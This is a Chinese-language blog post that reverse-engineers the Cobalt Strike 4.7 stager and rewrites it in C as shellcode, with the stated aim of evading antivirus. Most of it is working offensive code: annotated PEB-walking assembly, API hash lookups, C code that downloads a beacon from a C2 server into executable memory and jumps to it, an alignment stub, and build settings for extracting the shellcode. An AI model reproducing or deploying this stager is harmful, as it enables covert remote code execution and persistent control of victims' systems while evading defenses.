1. 概述
一直很想有一个自己的控,奈何实力不允许,CS 仍然是目前市面上最好用的控,但是也被各大厂商盯得很紧,通过加载器的方式进行免杀效果有限,后来看到有人用 go 重写了 CS 的 beacon,感觉这个思路很好,但是 go 编译的也有很多问题,加载起来会有很多受限的地方,所以想着能不能用 C 去重写一个,不过 beacon 的功能很多,短时间去重写有点费劲,所以想先重写 CS 的 stager 部分,并能转化成 shellcode 通过加载器进行加载。CS 4.7出来有段时间了,本文尝试对 CS 的 stager 进行逆向,并尝试用 C 重写 stager 的 shellcode 。
2. 样本信息
样本名:artifact.exe (通过CS的Windows Stager Payload生成的64位exe)
3. Stager 逆向
CS 生成的 exe 格式的 stager 本质上就是一个 shellcode 加载器,真正实现 stager 的拉取 beacon 功能的是其中的 shellcode 部分,因为加载器我们可以通过很多方式去实现,且4.7版本的 stager 加载流程并没有较大变化,所以对 stager 的加载部分只做简单的分析。
3.1 Shellcode加载部分:
进入主函数,直接进 sub_4017F8 函数看它的功能实现:
进入 sub_4017F8 函数,先获取系统时间戳,然后创建线程通过管道读取 shellcode 并执行:
拼接的管道名:\.\pipe\MSSE-3410-server:
跟进 CreateThread 中的线程执行函数:
跟进 WriteShellcodeToPipe_401630,创建管道并循环写入 shellcode:
shellcode 内容如下:
写入 shellcode:
跟进 ShellcodeExec_4017A6 函数,该函数实现从管道接收 shellcode 并解密执行:
从管道中读取 shellcode 到内存:
将读取到的 shellcode 在 DecryptAndExecShellcode_401595 函数中解密执行:
解密后的 shellcode 可以通过 CreateThread 的传参找到,起始地址保存在 R9 寄存器中:
3.2 Shellcode执行部分:
Shellcode 是一段地址无关代码,不能直接调用 Win32Api,CS 的 shellcode 是通过遍历 PEB 结构和 PE 文件导出表并根据导出函数的 hash 值查找需要的模块和 API 函数:
3.2.1 遍历PEB获取Win32API
遍历PEB:
计算模块哈希:
查找导出函数:
该部分的完整汇编如下:
| mov rdx,qword ptr gs:[rdx+60] | 查找PEB
| mov rdx,qword ptr ds:[rdx+18] | 查找LDR链表
| mov rdx,qword ptr ds:[rdx+20] | 访问InMemoryOrderModuleList链表
| mov rsi,qword ptr ds:[rdx+50] | 将模块名称存入rsi寄存器
| movzx rcx,word ptr ds:[rdx+4A] | 将模块名称长度存入rcx寄存器(unicode)
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入模块名称
| cmp al,61 | 判断大小写
| jl A0037 | 大写则跳转
| sub al,20 | 如果是小写就转换为大写
| ror r9d,D | ROR13加密计算
| add r9d,eax | 将计算得到的hash值存入R9寄存器
| loop A002D | 循环计算
| push rdx |
| push r9 |
| mov rdx,qword ptr ds:[rdx+20] | 找到模块基地址
| mov eax,dword ptr ds:[rdx+3C] | 找到0x3C偏移(PE标识)
| add rax,rdx | rax指向PE标识
| cmp word ptr ds:[rax+18],20B | 判断OptionHeader结构的Magic为是否为20B(PE32+)
| jne A00C7 |
| mov eax,dword ptr ds:[rax+88] | 将导出表RVA赋值给eax寄存器
| test rax,rax |
| je A00C7 |
| add rax,rdx | 模块基址+导出表RVA=导出表VA
| push rax |
| mov ecx,dword ptr ds:[rax+18] | 将导出函数的数量赋值给ecx寄存器
| mov r8d,dword ptr ds:[rax+20] | 将导出函数的起始RVA赋值给R8寄存器
| add r8,rdx | 导出函数的起始VA
| jrcxz A00C6 |
| dec rcx |
| mov esi,dword ptr ds:[r8+rcx*4] | 从后向前获取导出函数的RVA
| add rsi,rdx | 当前导出函数的VA
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入导出函数名
| ror r9d,D | ROR13加密运算
| add r9d,eax | 计算的hash存入R9
| cmp al,ah | 字符串最后一位为0,此时al、ah均为0,循环结束
| jne A007D | 不为0,继续运算
| add r9,qword ptr ss:[rsp+8] | 将模块hash与函数hash求和
| cmp r9d,r10d | 运算结果与要查找的函数hash(R10)进行比较
| jne A006E | 没找到则跳回去继续找
| pop rax |
之后会不断循环上面的代码通过hash依次查找以下Api函数:
0x0726774C => LoadLibraryA
0xA779563A => InternetOpenA
0xC69F8957 => InternetConnectA
0x3B2E55EB => HttpOpenRequestA
0x7B18062D => HttpSendRequestA
0xE553A458 => VirtualAlloc
0xE2899612 => InternetReadFile
3.2.2 请求C2服务器建立连接
调用 LoadLibraryA 加载 wininet.dll:
调用 InternetOpenA 进行初始化:
调用 InternetConnectA 与控制端建立 http 会话:
调用 HttpOpenRequestA 创建 http 请求:
调用 HttpSendRequestA 将指定请求发送到服务器:
3.2.3 获取Beacon加载上线
调用 VirtualAlloc 为 beacon 分配内存:
循环调用 InternetReadFile 将 beacon 读取到分配的内存:
跳转,进入 beacon 的内存空间:
之后,beacon 会解密自身,通过反射式DLL注入执行上线,不在本篇范围,故不赘述。
4. C 重写 Shellcode
通过前面的内容我们已经了解了 CS 的 stager 的基本功能,其中 shellcode 部分通过调用 wininet.dll 中的相关 API 函数向 C2 服务器发起 http 请求并建立连接,远程读取 beacon 的内容并为其分配内存后跳转执行,在 C 里面,我们只需要调用相同的 API 函数即可实现相同的功能。
然而,我们的目的是希望用 C 编写出来的代码可以转化为 shellcode,这样既可以保留 shellcode 灵活加载的优势,也可以通过编写 C 代码自由地控制 shellcode(汇编大佬勿cue)。因为 shellcode 是一段地址无关代码,我们不能像编译一个可执行文件那样直接调用 Windows API,这就是为什么 CS 的 shellcode 会有一段代码通过遍历 PEB 和导出表来获取所需的 Windows API 函数。
理清了思路,剩下的就是写代码了,下面给出关键代码。
4.1 Shellcode的代码实现
4.1.1 遍历PEB获取Win32API
这个部分已经有很多代码实例了,直接拿来 include 就可以:
#include <windows.h>
#include <winternl.h>
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash( In DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
// necessary to get the PEB.Ldr address
PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
__emit( 0x00006B1B );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
dwModuleHash = ROTR32( dwModuleHash, 13 );
if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += pTempChar;
pTempChar++;
} while ((pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
// All modules have been exhausted and the function was not found.
return NULL;
}
在引用了以上代码后,我们还需要定义我们所需的 API 函数,这里我们尝试使用其它 API 进行测试:
typedef HMODULE(WINAPI* FN_LoadLibraryA)(
In LPCSTR lpLibFileName
);
typedef LPVOID(WINAPI* FN_VirtualAlloc)(
In_opt LPVOID lpAddress,
In SIZE_T dwSize,
In DWORD flAllocationType,
In DWORD flProtect
);
typedef LPVOID(WINAPI* FN_InternetOpenA)(
In LPCSTR lpszAgent,
In DWORD dwAccessType,
In LPCSTR lpszProxy,
In LPCSTR lpszProxyBypass,
In DWORD dwFlags
);
typedef HANDLE(WINAPI* FN_InternetOpenUrlA)(
In LPVOID hInternet,
In LPCSTR lpszUrl,
In LPCSTR lpszHeaders,
In DWORD dwHeadersLength,
In DWORD dwFlags,
In DWORD_PTR dwContext
);
typedef BOOL(WINAPI* FN_InternetReadFile)(
In LPVOID hFile,
Out LPVOID lpBuffer,
In DWORD dwNumberOfBytesToRead,
Out LPDWORD lpdwNumberOfBytesRead
);
typedef struct tagApiInterface {
FN_LoadLibraryA pfnLoadLibrary;
FN_VirtualAlloc pfnVirtualAlloc;
FN_InternetOpenA pfnInternetOpenA;
FN_InternetOpenUrlA pfnInternetOpenUrlA;
FN_InternetReadFile pfnInternetReadFile;
}APIINTERFACE, * PAPIINTERFACE;
现在我们已经有了定义好的函数和 GetProcAddressWithHash 函数,接下来只需要通过 hash 寻找我们需要的函数即可:
#pragma warning( push )
#pragma warning( disable : 4055 )
ai.pfnLoadLibrary = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);
ai.pfnLoadLibrary(szWininet);
ai.pfnLoadLibrary(szUser32);
ai.pfnVirtualAlloc = (FN_VirtualAlloc)GetProcAddressWithHash(0xE553A458);
ai.pfnInternetOpenA = (FN_InternetOpenA)GetProcAddressWithHash(0xA779563A);
ai.pfnInternetOpenUrlA = (FN_InternetOpenUrlA)GetProcAddressWithHash(0xF07A8777);
ai.pfnInternetReadFile = (FN_InternetReadFile)GetProcAddressWithHash(0xE2899612);
#pragma warning( pop )
4.1.2 建立连接接收Beacon
LPVOID hInternet = ai.pfnInternetOpenA(0, 0, NULL, 0, NULL);
HANDLE hInternetOpenUrl = ai.pfnInternetOpenUrlA(hInternet, HttpURL, NULL, 0, 0x80000000, 0);
LPVOID addr = ai.pfnVirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
recv_tmp = 1;
recv_tot = 0;
beacon_index = addr;
while (recv_tmp > 0) {
ai.pfnInternetReadFile(hInternetOpenUrl, beacon_index, 8192, (PDWORD)&recv_tmp);
recv_tot += recv_tmp;
beacon_index += recv_tmp;
}
((void(*)())addr)();
4.1.3 64位下的代码调整
为了保证我们的 shellcode 在64位上以正确的堆栈对齐方式达到其入口点,我们需要编写一个保证对齐的 asm 存根,并将其生成的对象文件作为链接器的附加依赖项:
EXTRN ExecutePayload:PROC
PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.
_TEXT SEGMENT
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
AlignRSP PROC
push rsi ; Preserve RSI since we're stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
AlignRSP ENDP
_TEXT ENDS
END
我们还需要一个头文件帮助我们调用上面的汇编函数:
#if defined(_WIN64)
extern VOID AlignRSP( VOID );
VOID Begin( VOID )
{
// Call the ASM stub that will guarantee 16-byte stack alignment.
// The stub will then call the ExecutePayload.
AlignRSP();
}
#endif
4.1.4 其它坑点
(1)传入一些字符串参数时需要使用字符数组的形式;
(2)传入的字符串不能过长,太长的话会被编译器分配到别的区段导致提取的 shellcode 找不到其地址;
(3)如果 CS 使用默认的 profile,注意 URL 应满足 CS 的检查要求(checksum8);
4.2 修改VSStudio配置
在写好代码后,为了从我们编译生成的 exe 文件中提取出可以使用的 shellcode,我们还需要修改 VS 的部分配置选项:
编译器:
/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os
链接器:
/LTCG "x64\Release\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO
/SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO
/NODEFAULTLIB
其中 AdjustStack.obj 是我们上面提到的对象文件,function_link_order64.txt 是我们指定的链接顺序,其内容如下:
Begin // 入口函数
GetProcAddressWithHash
ExecutePayload // shellcode 功能函数
4.3 提取shellcode上线
配置好相关选项后,构建项目生成 exe,然后提取 .text 段就可以拿到我们的 shellcode 了:
使用一个简单的加载器进行测试,可成功上线: